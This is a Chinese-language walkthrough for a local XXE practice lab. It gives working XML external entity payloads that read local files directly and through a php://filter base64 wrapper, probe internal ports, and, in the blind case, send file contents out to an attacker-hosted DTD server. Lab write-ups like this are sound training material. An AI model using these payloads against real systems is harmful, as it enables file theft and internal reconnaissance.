靶场部署
步骤一:将靶场进行下载....
https://github.com/c0ny1/xxe-lab
步骤二:将PHPStudy的中间件与版本信息调制为 php-5.4.29+Apache 访问以下地址开始练习...
http://192.168.110.137/php_xxe/
一:有回显的XXE
复制代码后会自动换行自行删除换行
步骤一:在登录界面输入账号密码并抓取数据包
步骤二:尝试读取本地文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XL [
<!ENTITY fl SYSTEM "file:///E:/1.txt">]>
<user><username>&fl;</username><password>123</password></user>
步骤三:使用PHP伪协议读取文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XL [
<!ENTITY fl SYSTEM "php://filter/read=convert.base64-
encode/resource=E:/1.txt">]>
<user><username>&fl;</username><password>123</password></user>
解码
步骤四:探测内网存活主机与端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XL [
<!ENTITY fl SYSTEM "http://127.0.0.1:3306">]>
<user><username>&fl;</username><password>123</password></user>
二:无回显的XXE
配置
打开小P目录下www下php_xxe下doLogin.php
将32行注释
步骤一:继续运行上面的XML语法,发现没有了数据回显
www下建立1.php
步骤二:在服务器(小p\www)上创建 evil.xml 文件并使用cmd中Python开启http服务
<!ENTITY % payload "<!ENTITY % send SYSTEM
'http://192.168.110.137:8000/1.php?content=%file;'>"> %payload;
在浏览器访问http://192.168.110.137:8000
发现
# 将内容发到bp中
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=E:/1.txt">
<!ENTITY % dtd SYSTEM "http://192.168.110.137:8000/evil.xml">
%dtd;
%send;
]>
CMD中发现文本内容
解码